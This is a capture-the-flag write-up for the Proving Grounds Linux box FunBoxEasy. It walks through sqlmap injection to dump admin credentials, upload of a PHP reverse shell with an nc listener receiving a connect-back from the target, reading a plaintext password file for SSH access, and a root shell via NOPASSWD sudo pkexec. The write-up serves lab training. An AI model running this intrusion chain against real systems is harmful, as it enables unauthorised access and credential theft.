# FunBoxEasy Writeup - Proving Grounds

> Easy Linux box with a book store web app vulnerable to SQL injection and default admin credentials, used to upload a PHP reverse shell for a www-data shell. A password file gives SSH access as tony, whose sudo rights include GTFOBins-exploitable binaries like pkexec for root.

- **URL:** https://hackindex.io/writeups/funboxeasy
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** sql-injection, file-upload, webshell, default-credentials, sudo-misconfiguration, gtfobins, privilege-escalation
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-07
- **Updated:** 2026-10-07

FunBoxEasy runs a book store web app with a SQL injection and default admin credentials. The admin panel allows a file upload, which lands a PHP reverse shell as `www-data`. A password file in a user's home gives SSH access as tony, whose sudo rights include several GTFOBins-exploitable binaries for root.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT      STATE SERVICE
# 22/tcp    open  ssh
# 80/tcp    open  http
# 33060/tcp open  mysqlx
```

SSH, HTTP and MySQL X. Brute force the web root for content.

### Web enumeration

Enumerate directories.

```bash
gobuster dir -u http://$TARGET_IP -w /usr/share/wordlists/dirb/common.txt
# /admin         (Status: 301)   # decoy
# /secret        (Status: 301)   # decoy
# /store         (Status: 301)
```

The `/store` app has an admin login at `/store/admin.php`.

## Exploitation

### SQL injection and admin login

The `book.php?bookisbn` parameter is injectable. The admin login also accepts the default `admin:admin`, but the credentials can be dumped directly with sqlmap.

```bash
sqlmap -u 'http://$TARGET_IP/store/book.php?bookisbn=' --batch -D store --dump
# Database: store
# Table: admin
# +-------+--------------------------------------------------+
# | name  | pass                                             |
# +-------+--------------------------------------------------+
# | admin | d033e22ae348aeb5660fc2140aec35850c4da997 (admin) |
# +-------+--------------------------------------------------+
```

The admin hash cracks to `admin`. Log in to the store admin panel, which exposes an Add Book page with a file upload.

### File upload to RCE

Upload a PHP reverse shell as the book image. The `Publisher` field must be a valid value such as `Apress`. Start a listener, then trigger the shell by browsing to `/store/`.

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
# $ id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Shell as `www-data`. Enumerate home directories.

## Privilege Escalation

### Credential disclosure

A password file sits in tony's home directory.

```bash
cat /home/tony/password.txt
# ssh: $TONY_PASSWORD
# gym/admin: <redacted>
# /store: admin@admin.com admin
```

The `ssh` entry is tony's password. Log in over SSH.

```bash
ssh tony@$TARGET_IP
# tony@funbox3:~$ id
# uid=1000(tony) gid=1000(tony) groups=1000(tony),27(sudo),116(lxd)
```

Shell as `tony`. Check the sudo rights.

### Sudo GTFOBins

tony may run a long list of binaries as root with no password.

```bash
sudo -l
# User tony may run the following commands on funbox3:
#     (root) NOPASSWD: /usr/bin/pkexec
#     (root) NOPASSWD: /usr/bin/time
#     (root) NOPASSWD: /usr/bin/mtr
#     (root) NOPASSWD: /usr/bin/whois
#     (root) NOPASSWD: /usr/bin/finger
#     ...
```

Several of these are GTFOBins-exploitable. `pkexec` (or `time`) spawns a root shell directly.

```bash
sudo /usr/bin/pkexec /bin/sh
# tony@funbox3:~$ sudo /usr/bin/pkexec /bin/sh
# # whoami
# root
```

The NOPASSWD `pkexec` runs `/bin/sh` as root, giving a root shell.

Related

## References

- [GTFOBins: pkexec](https://gtfobins.github.io/gtfobins/pkexec/) - Sudo pkexec spawns a root shell.
- [GTFOBins: time](https://gtfobins.github.io/gtfobins/time/) - Sudo time runs an arbitrary binary as root.